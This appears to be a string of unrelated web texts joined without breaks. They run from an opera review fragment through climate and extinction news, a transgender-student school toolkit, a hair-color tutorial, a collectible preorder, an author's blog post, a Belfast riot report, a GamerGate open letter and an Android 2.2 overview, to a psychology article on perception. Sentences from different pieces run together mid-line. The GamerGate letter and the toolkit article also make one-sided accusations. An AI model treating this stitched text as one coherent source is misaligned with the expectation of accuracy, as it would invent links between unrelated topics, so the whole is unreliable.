point, I am getting upset with Eurydice; she couldn't wait until they got home for him to look at her? Why does shehim to look at her, he obviously just went through Heaven and Hell to find her. Her guilt trip finally works, and he looks at her. Well, guess what, she died.Orpheus is heart broken, yet again. Then Amore rolls up on her bike and tells Orpheus that since he really loved her, she would bring back Eurydice. Really? So Amore was just playing games? What a bitch.It ends with Orpheus and Eurydice happily ever after (well, $5 says she nags him again).I know my version is tongue in cheek, but I honestly enjoyed this show very much. It did exactly what I wanted it to do - took me away from my reality for a few hours and captured me. If you know how ADD I am, you know this is no easy feat. Tickets are still available for the last two shows, and if you have a second check out Marissa's website and spot her in the trailer below, or at the show. P.S. she's for hire.Also, for some opera fun... The Seattle Opera held a contest for free tickets, the winner had to answer questions in a musical format.A U.N. report released Monday in Japan said global warming is affecting food and water shortages, economic livelihoods and raising the risk of wars. (Reuters)
A U.N. report released Monday in Japan said global warming is affecting food and water shortages, economic livelihoods and raising the risk of wars. (Reuters)
The world’s leading environmental scientists told policymakers and business leaders Sunday that they must invest more to cope with climate change’s immediate effects and hedge against its most dire potential, even as they work to slow the emissions fueling global warming.
The U.N. Intergovernmental Panel on Climate Change said that climate change is already hurting the poor, wreaking havoc on the infrastructure of coastal cities, lowering crop yields, endangering various plant and animal species, and forcing many marine organisms to flee hundreds of miles to cooler waters.
But the Nobel Peace Prize-winning group said that climate change’s effects will grow more severe and that spending and planning are needed to guard against future costs, much as people insure themselves against possible accidents or health problems.
The report said that damage from climate change and the costs of adapting to it could cause the loss of several percentage points of gross domestic product in low-lying developing countries and island states. It added that climate change could “indirectly increase risks of violent conflicts in the form of civil war and inter-group violence” by “amplifying” poverty and economic shocks.
The summary of the report, ratified at a five-day meeting in Yokohama, Japan, avoided specific forecasts or timetables or cost estimates, but it described a range of likelihoods and outcomes in an attempt to give decision-makers the tools to set priorities to combat those effects.
Scientists who helped write the report said that efforts to adapt could include constructing emergency cyclone and flood shelters like those in parts of Bangladesh, moving generators out of New York City basements that flooded during Hurricane Sandy, changing farming techniques to cope with higher temperatures, and conserving water and curbing pollution in areas threatened with more-frequent droughts.
“The focus is as much on identifying effective responses as on understanding challenges,” Chris Field, co-chairman of the IPCC working group writing the report, said in a statement last week. On Monday in Yokohama, he said that “we need to think about reducing risks and building more resilient societies” by drawing on “deep pools” of creativity and innovation.
Michael Oppenheimer, a professor of geosciences and international affairs at Princeton University and one of the report’s authors, said: “There is a more optimistic tone about our ability to adapt to some of these things. We’ve had some bad heat waves and coastal storms, and we have a better idea of what we need to do. Whether we will ever do it, I don’t know.”
But he cautioned that “everyone agrees that if we don’t slow the warming down, our prospects for adaptation are not good.”
The risk-based approach opened the door to discussion in the report of grave climate scenarios, even if their likelihood is relatively remote, just as a company might plan for an extremely rare flood, earthquake or tornado.
An early draft of the report had estimated that governments would need to spend scores of billions of dollars a year on adaptation efforts, according to a person who saw the early version, but the final summary made no mention of how much money might be needed.
“The IPCC’s new report underscores the need for immediate action in order to avoid the most severe impacts of climate change,” said John P. Holdren, President Obama’s science adviser. “It reflects scientists’ increased confidence that the kinds of harm already being experienced as a result of climate change are likely to worsen as the world continues to warm.”
The IPCC report said, “Responding to climate-related risks involves decision-making in a changing world, with continuing uncertainty about the severity and timing of climate-change impacts, and with limits to the effectiveness of adaptation.”
The impact and adaptation report is Part 2 of a four-part assessment by the IPCC. It relied on about 12,000 papers and was written by 309 scientists, who voted on the final version Sunday morning in Japan.
“For the first time, we have measured in terms of risk so each of the climate risks could be weighed against each other and compared with the risk of this versus the risk of something else,” Oppenheimer said.
Jonathan Overpeck, a professor of geosciences at the University of Arizona who also worked on the report, said, “We did that because we deal with day-to-day life by managing risks, and a big part of managing our large corporations is assessing risks and managing those risks.”
The “very high confidence” category of climate-change effects included exacerbating more-intense heat waves and fires, increased food- and water-borne diseases, and a steady rise in sea level in certain regions, such as the East Coast of the United States.
The report reiterated warnings that world leaders and businesses must act to slow climate change, not just adapt to it. “Increasing magnitudes of warming increase the likelihood of severe, pervasive, and irreversible impacts,” the report said. It said that some of the warming could have “cascading effects.”
The report attached a “medium confidence” rating to some of those events, but it highlighted the danger of “abrupt and irreversible regional-scale change” if high temperatures hurt the ability of the Arctic boreal tundra or the Amazon forest to store carbon dioxide, or sped the collapse of a continental ice sheet.
But the most likely damage from climate change will be linked to rising sea levels and temperatures. Those changes could turn the advantages of growing coastal cities into vulnerabilities if interlocking transportation, electrical and information systems fail, Oppenheimer said.
Gary Yohe, an economics and environmental studies professor at Wesleyan University and a co-author of the report, said: “I teach my students that the answer to every economic question is ‘It depends.’ You don’t want to be poor, you don’t want to be young, you don’t want to be old, and you don’t want to live along the coast.”Earth is on the brink of a "mass extinction event" which could be equivalent in scale to the one that killed off the dinosaurs 65 million years ago, a landmark study by an international group of scientists has concluded.
Researchers warned that deforestation, climate change, and overfishing have driven extinction rates to 1,000 times their normal level, Reuters reports.
Duke University biologist and conversation expert Stuart Pimm says that "time is running out" to avert the threat of mass extinction.
If the crisis is to be avoided, humans need to make large scale changes immediately, Pimm says.
"When you look at the range of unsustainable things we are doing to the planet – changing the atmosphere, global warming, massively depleting fisheries, driving species to extinction – we realise we have a decade or two," Pimm warned. "If we keep on doing what we are doing by the end of the century our planet will really be a pretty horrendous place."
The study compared historical extinction rates with contemporary data collected from around the world.
"We can compare [modern data] to what we know from fossil data and what we know from DNA data… DNA differences between species give us some idea of the time scale over which different species are born and die. When we make those two comparisons we find that species are going extinct a thousand times faster than they should be."
According to Pimm, the last time the planet faced such a significant extinction event was 65 million years ago, when, he says, a third to a half of all animal species on Earth died. "If we continue on our present course, that's how much we will lose," Pimm said.
The report notes that with the right intervention, the crisis could yet be averted. Conservation, education and "targeted preservation efforts" could slow down extinction rates, the report concludes.Renewable energy advocates are hailing the beginning of a new era for wind and solar power, which are finally becoming competitive at market prices with the advent of the latest generation of technologies.
Led by Germany and its “Energiewende” transition to low carbon, environmentally friendly generation, Western, Northern and Southern Europe have jumped on the renewables bandwagon, but the newer EU member states in Central and Eastern Europe (CEE) have been slow to follow. Efforts to incentivise investments in renewables have been patchy, and often undermined by powerful vested interests.
Technological advances mean renewable energy sources can now be considered credible cleaner and cheaper alternatives to hydrocarbons. Oil major BP anticipates that renewables, together with hydro and nuclear power, will account for half the increase in global energy by 2035.
During a lecture at Lund University late last year, Tomas
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at more than $30 million (£24 million), two fully-stocked champagne and wine cellars and "the most advanced home tech system in the country".
With this development, Makowsky set out to beat his own national property price record, previously held by a $70 million (£55 million) Beverley Hills abode.
"There are hundreds of new billionaires created each year and they are increasingly setting their sights on this coveted enclave of California for everything the state has to offer," he said.
LA is well known as a home for the rich and famous. Other lavish residential projects in the city include an angular white villa in the Hollywood Hills, and a John Lautner-designed house that famously appeared in cult film The Big Lebowski, which was recently gifted to LACMA.
Photography is courtesy of Berlyn Photography.A recently approved Minnesota Department of Education “toolkit” instructs schools to isolate students who are concerned about sharing bathrooms and locker rooms with transgender students.
On Wednesday, an advisory council for the Minnesota DOE approved a new toolkit, titled "Safe and Supportive Schools for Transgender and Gender Nonconforming Students," which provides public schools with advice for how schools should interact with and protect transgender and “gender-noncomforming” students.
The Minnesota Star Tribune reported the toolkit is nonbinding and could be edited in the future, according to Education Commissioner Brenda Cassellius.
The toolkit’s stated goal is “to help school districts and charter schools create school environments where transgender and gender nonconforming students are safe, supported and fully included, and have equal access to the educational opportunities provided to all students as required by federal or state law.”
Among the many ways the toolkit says schools can create a welcoming environment for transgender students, from kindergarten through 12th grade, is to provide transgender students with access to bathrooms and locker rooms that conform with students’ gender identity and to segregate students concerned with privacy.
“Schools should work with transgender and gender nonconforming students to ensure that they are able to access needed facilities in a manner that is safe, consistent with their gender identity and does not stigmatize them,” the toolkit states. “Privacy objections raised by a student in interacting with a transgender or gender nonconforming student may be addressed by segregating the student raising the objection provided that the action of the school officials does not result in stigmatizing the transgender and gender nonconforming student.”
There’s nothing in the toolkit to prevent, for instance, a male student from claiming to be a girl and therefore having access to female restrooms and locker rooms, and then for a female student who objects to be "segregated."
Schools are also told they should “have regular meetings with students, teachers and other staff to discuss how to make transgender students more comfortable. Schools are instructed to allow transgender students to choose the pronouns staff must use when addressing them, and does not require a medial “transition” before students are to be treated as the gender of their choice.
Teachers are warned they could violate federal law if they use the “incorrect pronoun or incorrect name” of a transgender student.
“Family Educational Rights and Privacy Act (FERPA) protects the privacy of students,” the toolkit states. “Schools should note that neither a student’s gender nor pronouns are considered public or directory information. Casual use of a student’s incorrect pronoun or incorrect name may violate FERPA.”
Schools are encouraged to make exceptions to dress codes for transgender students and to change “school traditions” to be more inclusive.
“In an effort for inclusivity, schools may wish to consider revisiting existing traditions or establishing new traditions,” the toolkit states. “For example, instead of electing a homecoming king and homecoming queen, some schools have chosen to nominate ‘prom ambassadors,’ ‘homecoming court’ or ‘homecoming royalty.’ At the University of Minnesota, for example, the titles of homecoming king and queen have been replaced with the title ‘Homecoming Royalty’ and students selected as royalty will now be called ‘royals.’”
John Helmberger, CEO of the Minnesota Family Council, said the toolkit will likely be challenged in court and that the “concerns of gender-conforming students and parents are ignored and dismissed" by the toolkit, according to a report by the Star Tribune.If you are taking a bus around Boston this spring, you may notice a new plexiglass partition separating you from the driver.
It’s the Massachusetts Bay Transportation Authority’s answer to the rash of assaults on bus drivers in recent years. There were 43 assaults on bus drivers last year and 14 so far this year, reports the Boston Globe. The metal and plexiglass barrier is designed to help protect bus drivers from angry passengers. In the past, bus drivers have been spit on, hit, choked, kicked, and punched.
The MBTA has installed the barrier on just one bus and, for the next 90 days, drivers will take turns using that bus and providing feedback about the new system. If drivers like it, the MBTA will include the partition on every new bus purchased.
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Driver Antoinette Bradley told the Boston Globe she likes the system already, saying, “I feel much safer now, and I don’t have to worry about anyone. They need it on every shift, on every route.’’Coachella kicks off this Friday, marking the start of outdoor music fest season in the California desert. Three days of music and fun in the sun, it’s the perfect occasion to go bold and get noticed. So if you’ve been waiting for an excuse to try out electric-hued highlights, look no further.
Anastasia’s Hypercolor Brow and Hair Powder, available in five mega-watt shades, lets you give yourself a little or a lot of color with just a few tools and absolutely no long-term commitment (it washes out with regular shampoo). Here’s an easy tutorial for creating a subtle yet bright ombre ’do perfect for Coachella and beyond.
Step 1: Start with either freshly washed or second-day hair. Spritz a cotton pad with water. Pigment can rub off on hands and clothing, so wear gloves (and wait until the color sets to change into your fest outfit).
Step 2: Gather a 1- to 2-inch section of hair near your face. About midway down the length, place the moistened cotton pad behind the hair, and press the compact color side down directly onto the hair.
Sandwiching the hair between the compact and moistened pad, rub the color onto the hair. Go over it a few times to achieve the desired intensity. We started with Mega Watt Green.
Step 3: Repeat with a second color, slightly overlapping the first.
We used Teal Tornado and finished this gradient off with Electric Blue.
Step 4: Spray the strand liberally with hairspray and let dry.
Step 5: Repeat on as many strands as you like, using any color combination.
It looks great on dark hair, too!
Wear it in a braid or let it hang.
Bonus!
When mixed with Anastasia Lash Genius Waterproof Topcoat (the line’s mascara topcoat), Hypercolor also serves as a face and body paint for temporary tattoos and body art. Read on to learn how to try it.
Step 1: Using a stiff brush, wipe some of the Lash Genius gel onto a Paw Palette.
Step 2: Mix the gel with the Hypercolor shade of your choice, creating a paint.
Step 3: Apply to your face or body in any shape or design. You could also use sticker stencils to get perfect shapes!
Try Hypercolor on your hair, face, or body, and post your pics below!There’s finally more information on the much anticipated Sailor Moon Tuxedo Mirage music box! The official name is Tuxedo Mirage Memorial Ornament. It’s a PROPLICA and Figuarts Zero chouette crossover. It’s based on the ending theme of Sailor Moon S Tuxedo Mirage song, it completely reproduces the ending with Princess Serenity spinning on top while the song and moon phase LED projection plays.
It plays two songs, ‘Music Box Version’ and ‘TV Ending Version’ sung by Kotono Mitsuishi. There are 3 volume levels which can be adjusted by a switch on the bottom. The Princess Serenity and Prince Endymion figures can be attached or detached to the music box, by itself or together. This also comes with 3 sets of “windows” featuring the Moon Castle, anime illustration and watercolour painting illustration that you can switch out. There are 6 built-in LED lights on the bottom to give the windows a glow. The box itself measures 12.5cm tall and 9cm wide. With the figures attached it’ll measure 19.5cm tall and 11.5cm wide.
The retail price is 9,180 yen and it’s scheduled for release in May 2017. You can preorder it on Premium Bandai.
INTERNATIONAL PREORDER LINKS
Entertainment Earth: $89.99
Amazon (US): $89.99
What do you guys think? Do you like the unfinished look of the figures? I’m really relieved and surprised at the price! People kept spreading rumours it was $800?? lol…glad that’s not the case!! I hope they keep coming out with creative and unique items like this!
The 3 sets of interchangeable window displays:
Here’s a video of the music box in action!
TweetFollow @smcollectiblesWell, I made my appearance on Sheep Island a few hours ago, cleverly disguised as Tyrion the Imp for a reading and Q&A session at Bantam's virtual bookstore. Only this version of Tyrion could fly! Ah, if only the Tyrion in the books could fly, what mischief he will... ah... could... ah, never mind.Anyway, it was great fun. My thanks to Ken and Dan and Betsy and all the other good folks at Bantam, Second Life, and Electric Sheep who made it possible and kept it running smoothly, and of course to all the fans and readers who donned their finest avatars and popped in for a listen. I hope you enjoyed yourself as much as I did. I hope you all bought a virtual copy of DREAMSONGS too, since that's what we were supposed to be promoting.And a special thanks to David Benioff and Dan Weiss, who made a surprise guest star appearance to answer questions about the HBO production of A GAME OF THRONES. It was great to have them there, even if they didn't have time to fix their avatars up like the Clegane Brothers, as they wanted.Even Second Lives must come to an end, however, so now I am back to my original life.My next appearance will be similarly cutting edge. On Saturday, I will be meeting fans and signing books at Book Expo America in New York City, starting at 11am. I look forward to seeing some of you there, and defacing your books. Unfortunately, Parris has chained me to my desk, so I won't actually be able to leave Santa Fe... but I'll be there signing at the BEA all the same, thank you very much.Media playback is unsupported on your device Media caption Police deployed water cannon against protesters throwing stones and bottles at Oldpark Road in north Belfast
Three men and a woman were arrested after trouble following an anti-internment parade in north Belfast on Sunday.
Petrol bombs, stones and bottles were thrown at police after they stopped the parade entering Belfast city centre.
The march was stopped by police at Oldpark Road in the north of the city after it breached a determination by a parades ruling body over its timing.
Organisers had asked supporters to leave peacefully when the parade ended.
But police were forced to deploy water cannon about an hour later when a crowd threw missiles at them.
On Sunday night police said they would "now review the evidence gathered and pursue all relevant lines of inquiry relating to any offences or breaches of the Parades Commission determinations".
Image copyright Pacemaker Image caption Petrol bombs were thrown during trouble in the area where police stopped the parade
The march was organised by the Anti-Internment League to mark the introduction of detention without trial during the height of the Troubles.
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The Parades Commission ruled the republican parade was to have passed Millfield junction by 13:30 BST, but it breached the ruling and did not start until about 14:00.
The march was stopped by police, who said their intention in blocking the parade was to "uphold the Parades Commission's determination".
During a short rally at the police line, a speaker told participants the parade had ended and asked those taking part to leave peacefully.
Image copyright Pacemaker Image caption A short rally was held by parade participants at the police line along the Oldpark Road
But a crowd remained in the area and later threw petrol bombs and other missiles at police officers.
Deputy First Minister Martin McGuinness tweeted that those who organised the "so-called anti-internment demonstration" bore "full responsibility" for the violence.
Expense
The Anti-Internment League said "all march participants behaved peacefully and with dignity" when the parade reached the police cordon, before taking "the responsible decision" to leave the area.
But the DUP MLA William Humphrey accused the organisers of making a "deliberate decision" to breach the timing condition imposed on the march.
Image caption A large crowd gathered at the cordon where bands played and speeches were given to the crowd
"The organisers of this parade of shame have succeeded only in increasing inter-community tensions, causing huge expense for a massive policing operation and disrupting our city centre trade," the North Belfast MLA said.
Progressive Unionist Party leader Billy Hutchinson said: "This so-called parade or demonstration was an absolute disgrace and nothing more than an extension of the ongoing and repeated threats of violence and intimidation that violent republicans present to the political and peace process."
Earlier, police made a direct appeal to the event's organisers to discuss the planned route and its timing with them.
They said they had made attempts to talk to the group but had not been successful.
Injured
Some roads in the city centre were closed from an earlier point in the day, including North Street, Royal Avenue and High Street.
Image caption Police had earlier gathered in Belfast city centre ahead of the republican anti-internment parade
Translink said there was disruption to some of its city centre routes, but that they have since resumed normal services.
In previous years, the parade has proceeded through the city.
At the same event two years ago, 56 officers were injured when loyalist protesters attacked the police.Some of you reading this may have read editorials and reviews by me on sites I’ve written for. My name is Ashton Liu, and I am a contributing editor for RPGFan. This post is not endorsed or approved by RPGFan. By writing this, I have effectively “gone rogue.” I am attaching my name as a sign of solidarity for my fellow gamers, and as a statement that what is happening needs to stop. My colleagues at RPGFan have nothing to do with this, they are excellent journalists and writers who have a passion for gaming and writing about gaming that is unequaled by anyone else in the industry. Yes, you can quote me on that.
But that’s not what I’m here to write about. Today I come to you from a position of humility. Some may recall that I have previously made scathing remarks about fans of the RPG genre, as well as admonishing those whose complaints regarding Jennifer Hepler veered into harassment. I still stand by those editorials, as they reflected the behavior of the gaming community at those respective points in time. Today, however, I am here not to vilify or condemn you, but rather to add my voice to yours, in a situation where the shaming and bullying of one side towards the other has become out of control.
I am, of course, referring to GamerGate.
It has been no secret to the gaming community that many video game news sites have been employing increasingly extremist and reprehensible tactics to gain site hits and forward their ideology. I have long tolerated these tactics, erasing and moving back lines in the sand against my better judgement because I believe that at the heart of these tactics were genuinely good intentions dedicated towards progressiveness and inclusiveness within the gaming community. I have recently been disabused of that notion.
There has been evidence of people within the industry approving of tactics such as shaming sexual harassment victims, blacklisting charitable indie startups that are helping to get more women into game development to ensure a lack of competition for their industry friends, and instigating a campaign of harassment and bullying against suicidally depressed individuals with no evidence whatsoever to promote a game about depression. When their audience caught wind of this kind of behavior, they were aghast. These were the people pushing for equality. They were the “righteous” ones telling us how to behave. How could they treat obvious victims and minorities in such a way?
At first the industry responded with silence. Then, they began to censor and ban anyone who spoke of these events. This only caused the situation to spiral out of control. Now, they have resorted to character assassination. There have been a deluge of articles on many sites calling gamers misogynists, man children, and all manner of terrible things in an attempt to shame all of them into backing down. Journalists have started behaving abhorrently on twitter, likening people like me to terrorists and Nazis. These journalists behave terribly and browbeat anyone whose opinions don’t fall lock step with their own. While they claim to - and may honestly believe that - they fight for equality, they are actually representing the exact institution which they decry - a hegemony where they are in the positions of power and privilege attempting to shout down anyone who takes issue with their tactics.
“But Ashton,” “In all fairness,” “In their defense,” some of you may be beginning to think. Stop. There is nothing worth defending here.
They will attack anyone, even people they claim to be protecting and representing. They will intimidate all who disagree or voice dissent. They bully those who have less influence and power than they do. They doxx anyone who steps out of line. The depressed NEETs over at Wizardchan should have been their primary focus if they wanted to promote a game regarding awareness of depression. Instead, they were harassed, abused, and verbally assaulted at the whims of a few game journaiists. They were the victims of opportunistic jackals who believed that bullying and harassing others is okay. It is not. When we object to this kind of behavior, game journalists will use the standard “straight white male” argument to dismiss us. Some will call us traitors to “the cause.” Some, like game developer Chuck Jordan, will accuse us of lying about being minorities while attacking us, unprovoked. Still others reframe the argument to make us out to be women haters. This is incredibly alarming behavior because it echoes many immoral and unethical actions that have taken place during the history of our country. The Salem Witch Trials, the Red Scare, and McCarthyism were all propaganda driven character assassination campaigns aimed at people who were deemed “inconvenient” or “not progressive.” On a more personal level, it parallels similar incidents that happened to individuals such as Wen Ho Lee, who was crucified and virtually mob lynched by public opinion and bad journalists simply for being different.
We currently find ourselves in an oddly opposite predicament than we were in a few short years ago. Gamers have changed. They don’t care about gender politics. They don’t care about sexuality. They don’t care about race. They just want to enjoy games and play with those who share their passion for gaming, regardless of what they identify as. Progressiveness has won, and is now the rule of the day. Gamers have leveled up, and are playing a new, better game.
It is now game journalists that refuse to change. They refuse to change, continuing to play an old, broken system that doesn’t work anymore. They have been left behind. They are the self-described cool kids in high school who can’t tolerate the fact that everyone else has grown up and don’t think they are cool anymore, so they utilize increasingly extreme and underhanded tactics to gain others’ approval, and when they fail, they accuse others of being “uncool.” Now that they can’t curry favor by being “cool” they resort to strong-arm tactics such as bullying. Game journalists cannot grasp that their methods do not work but instead of adapting to the new environment they stamp their feet and hold their breath until they are blue in the face. If game journalism is to have any respectability as an industry, then this kind of unprofessional and disrespectful behavior needs to stop. It is absolutely unacceptable and should not be tolerated.
These journalists believe they can hide behind “progressiveness” and claim to represent the only defense minorities have against the “straight white male” gamer, despite being almost exclusively straight, white, and male themselves. I am a minority and I absolutely repudiate what they are doing. I am not a tool to be used to defend their incompetence as journalists. I am not an excuse for them to act as bullies. I am not a shield to be used to deflect legitimate complaints aimed at their vitriol and hatefulness. I am not a convenient defense one second, a liability the next.
What I am is tired.
I am tired of coming back from work every day where I do my best to help people and see others who sit in front of their computer all day tell me what a horrible person I am for having passion for my hobby.
I am tired of toeing a party line that has been alienating me more and more while calling me names and attempting to shame me for disagreeing, even while they claim to be representing my best interests.
I am tired of the activity I partake in to forget the cruelties of real life becoming the battleground for ideologies and extremist propaganda.
I am tired of self-styled “progressive” journalists who grab onto individuals’ immutable traits as a reason to drag them through the mud.
I am tired of game developers who behave in increasingly abhorrent and infantile manners.
I am tired of opinion pieces and propaganda being put forth in lieu of facts and news.
I am tired of innocent individuals like those at Wizardchan being the victims of a campaign of verbal violence to forward the interests of selfish journalists.
Most of all, I am tired of the constant viciousness the gaming press shows more and more of with each passing day, daring us to object to their methods.
I was raised to respect all people equally, I still believe in the basic human decency all people deserve, and that will always matter to me far more than making other people feel bad about themselves because game journalist A at shady game site B told me to.
I am now writing this because out of all the people who work in the game journalism industry, I have the least to lose. I am not a game journalist by trade, I don’t make games for a living, and my livelihood does not revolve around games. I only started working at RPGFan because I loved the games I wrote about, I loved the industry, and I loved sharing my passion for my hobby with the world. This is a labor of love for me and it is heartbreaking that my labor of love has turned into such a toxic environment almost overnight. The fact that I am not a journalist by trade and yet have a better grasp of journalistic ethics and accountability than people who purport to be journalists is appalling. I find the politicization of gaming to be an absurd trend that only foments resentment and decreases the quality of both game journalism and game development.
I have seen some people - mainly women - quit their jobs as game journalists in the aftermath of GamerGate. While I am sorry that they were “forced” out of their jobs, I am not sorry for the reasons they had to go. Did Jade Raymond quit her job? Did Jane Jensen? Amy Hennig? Yuki Kajiura? Any of the women in game development? No, because they actually have passion for the craft and love for the medium, rather than a chip on their shoulder and lack of basic human decency. If a few individuals need to be evicted to bring ethics and accountability back to the industry of game journalism, then it is a small price to pay, in my opinion.
I have seen many people - fellow game journalists and game developers whom I used to respect - resort to tactics that revolt and disgust me, and as such no longer deserve my respect. If I am run out of the game journalism industry for writing this, then let it happen with the knowledge that I did so pursuing the truth and defending those who couldn’t defend themselves. The victims of this entire debacle, like Wizardchan, deserve that much at the least. My head will be held high, and my conscience will be clean.
Whatever happens from here on out, don’t forget to game on, and game well, valued readers. Know that not all game journalists are against you.
A. Ashton Liu
Contributing Editor
RPGFan.comAt the Google I/O developer conference today in San Francisco, the search giant unveiled Android 2.2, codenamed Froyo. The new version introduces some impressive performance improvements and much-needed feature enhancements.
Vic Gundotra, Google VP of engineering, discussed Android's progress and introduced the new version of the platform during a keynote presentation on the second day of the event. In the past 18 months, Android has attracted 21 hardware makers and 60 carriers in 40 countries. There are now over 60 compatible Android devices, which are rapidly increasing in popularity. Google says that over 100,000 new Android devices are activated every day.
Android is a Java-based platform, but it uses its own custom runtime engine and bytecode format. Unlike the conventional JRE, Android's Java runtime is basically an interpreter—it just executes the bytecode. One of the most significant improvements in Froyo is the introduction of a just-in-time (JIT) compilation engine that will allow the runtime to translate bytecode into native code at runtime.
The introduction of a JIT will bring a massive performance boost, increasing application execution speed by up to five times. This will improve the general responsiveness of the platform and allow application developers to build more computationally intensive software.
Another area where Google has made major investments in performance is the Android Web browser. The company has brought its recent optimization work on the V8 JavaScript engine to Froyo, leading to a 3x speedup. The company contends that Froyo has the "world's fastest mobile browser." To back up this claim, Google conducted a demo during the keynote which showed a Froyo-powered Nexus One crushing the iPad in a SunSpider JavaScript benchmark.
Enterprise, cloud, and tethering
In addition to performance improvements, Android has also gained a number of impressive new features. In an effort to boost Android's competitiveness in the business market, Google has added some enterprise-specific enhancements, including broad support for Microsoft exchange. Another major addition is a new data backup API for third-party applications, which will make it easier for users to keep all of their application data when they move to a new device.
The early Android previews had an XMPP-based push messaging framework, but it was cut during the beta test period due to reliability issues and was not present in version 1.0. Google has finally filled that hole in Froyo with a new cloud messaging API. The new cloud messaging service doesn't just push notifications, however. Third-party applications can transmit Android "Intents" to a device, meaning that the push messages can be used to activate applications and populate them with certain data.
Sending a map to an Android 2.2 phone
During a demo of the cloud messaging feature, Google showed how it can be used to push directions from Google Maps in Chrome on a desktop computer directly onto an Android device. The Android map application on the handset opened and displayed the same directions that the user was viewing in the browser on the desktop.
Android 2.2 turns your phone into a WiFi hotspot
Another compelling new feature in Froyo is support for wireless tethering. It will be possible to use an Android handset as a WiFi hotspot, making its 3G connectivity available to other devices. During the keynote, Google demoed the feature by showing how to make an iPad connect to the Internet through a Nexus One.
An open platform
During the entire keynote presentation, Google stressed the openness of the Android platform and emphasized its technical advantages relative to Apple's iPhone. Attitude towards browser plugins is one major area where the platforms differ. Google says that Adobe's Flash player and AIR runtime will be fully supported on Froyo. Supporting Flash was an easy choice, said Gundrota, because Android is an inclusive platform and Google is committed to having the most comprehensive browsing experience.
Opportunities in mobile advertising were a major factor that compelled Google to enter the phone space. The company is starting to take advantage of those opportunities by rolling out an experimental new mobile advertising platform. This will allow companies to reach mobile consumers and will also give application developers a convenient way to monetize their software.
During the keynote, Google showed several different kinds of mobile advertisements that companies can buy. One impressive feature is click-to-call, which allows advertisers to give users an easy way to call a phone number related to the advertisement. There are also location-aware features, such as a built-in map that will show the user where they can buy a product. Google envisions interactive rich advertising that brings value to consumers.
More love for apps
Application management has typically been a weak area for Android. One of the biggest failings of the platform is that it heavily limits the amount of storage space that can be used for applications. Google has rectified this problem in Froyo by adding support for storing applications on an SD card—a feature that was previously only available to users running hacked firmware.
Updating multiple apps at once
Google has made some very significant improvements to the application marketplace, particularly in the area of update handling. In Froyo, the marketplace has gained a much-needed "Update All" button, which will finally eliminate the painful chore of updating applications individually. Users will also be able to optionally enable automatic updates for certain applications.
Google has some even more compelling features planned for application management in future versions. The company demoed a Web-based interface to the app marketplace that is designed to be accessed in a Web browser on a desktop computer. When the user selects an application to install through the Web interface, it will automatically download on the user's selected device. This will simplify application installation and discoverability. It's easier than using the bar codes that are commonly used today on Web-based application indexes.
Google also aims to sell music through the same Web-based store. When the user purchases a song, they will be able to have it automatically download on their device. Similarly, Google is building a media synchronization framework based on technology acquired from Simplify Media. It will allow users to easily access their home music collection from their Android device. Look for coverage on Ars later today.
Android has matured considerably over the past year. The operating system has gained a richer assortment of third-party applications and many new capabilities. The latest improvements that Google is pushing in Froyo add a lot more power and sophistication to the platform.
Listing image by Google/ / /
Over the past few decades, research in the fields of perception and psychophysics has seemingly demonstrated that our vision is inherently tied to the current psychological, emotional, or physical state of our body. Wearing a heavy backpack makes hills appear steeper (Bhalla & Proffitt, 1999); holding a baton makes objects appear closer (Witt, Proffitt, & Epstein, 2005); holding your arms out to the side makes doorways appear narrower (Stefanucci & Geuss, 2009). Findings like these suggest that the image we see is the product of our brain coordinating information about our visual environment with information about our bodily state. Subtle changes in, say, our body’s position, produce noticeable changes in how we perceive our environment, or so the theory goes.
Several scientists have argued that having distorted vision allows you to better adapt to your environment. Walking up a hill with a heavy backpack requires burning more calories, so seeing the hill as steeper allows your body to anticipate the extra burden. Holding a baton makes a nearby object easier to reach. Holding your arms out makes some doorways impassable.
There are many results like these, and when added together they build a bold, intriguing theory about how we see and interact with our visual environment. However, a growing body of research has raised substantial doubts about this theory, as well as the experimental validity of the evidence supporting it. An article in July’s Perspectives on Psychological Science, called How “Paternalistic” Is Spatial Perception? Why Wearing a Heavy Backpack Doesn’t—and Couldn’t—Make Hills Look Steeper (Firestone, 2013), offers a new perspective in this debate and argues why a theory like this, as intriguing as it may be, cannot actually be true.
Paternalistic Vision
Chaz Firestone refers to this theory as Paternalistic Vision, in order to illustrate the guiding role that your brain supposedly takes on during perception. Recall the claim that wearing a heavy backpack makes hills look, actually look, steeper; this result suggests that your brain is “paternalistic” in that it makes your visual system see the hill as steeper than it really is, because of the added energy it would take your body to walk up that hill (Bhalla & Proffitt, 1999). The word “paternalistic” in this theory is reminiscent of an overbearing father, constantly trying to influence your decisions based on his Father-knows-best view of the world.
However, after reviewing much of the Paternalistic Vision literature, Firestone points out that many of the effects are illogical, inconsistent, and arbitrarily-sized. He concludes:
“The deepest shortcoming of the paternalistic vision hypothesis is not that the weight of the empirical evidence is against it… Rather, it never could have been the right account of the relevant results in the first place. It is just the wrong kind of theory for the job.”
Even if the experimental results are taken at face value, this theory cannot be true. Here’s why.
First, the effect sizes found in various experiments do not follow consistent patterns. Sometimes the effect sizes are very dramatic, and other times, the effect is inconsequential. For example, people who drank an artificially-sweetened drink reported hills to be 50% steeper in grade than those who drank the same drink, only sweetened with sugar (Schnall, Zadra, & Proffitt, 2010)—a rather large effect. Participants who held a 15-inch baton that extended their reach by about 50% judged an object in front of them to be about 5% closer than it actually was (Witt, Proffitt, & Epstein, 2009)—a rather modest effect. People holding their arms out wide (about 40-inches apart) judge doorways to be about 3% smaller than people who held their arms by their side (Stefanucci & Geuss, 2009)—a very small effect, considering the fact that the width of the doorway would only look about an inch smaller.
Not only are these effect sizes inconsistent, but they are also measured in units that are incomparable and arbitrary. Proponents of the theory often mention that we see the world in perceptual units that are based on the capabilities of our body (e.g. Linkenauger, Witt, & Proffitt, 2011). My phone is 2 arm-lengths away from me; the pole is 14 steps away from me; that car is 10 calories away from me. In this sense, having paternalistic vision is useful because it produces distortions that provide you with information tailored to your body’s needs, in order for you to make the most efficient decisions possible (Proffitt, 2006). However, this claim falls apart when you are forced to make a decision between performing two different actions with two conflicting perceptual units. Firestone points out that these perceptual units are incommensurable; that is, there is no common way to compare the distortions across different actions. Imagine that a cockroach is three arm-lengths away from you (arm-lengths are units of reach). It also happens to be two steps away from you (steps are units of walking). Which action do you choose if you want to squash the bug? Having paternalistic vision should help you select which action to perform by informing you which action is best suited for your body’s current state. Nevertheless, when choosing between doing two different actions, there is no common denominator—no conversion scale—that allows your body to compare between the two possible actions.
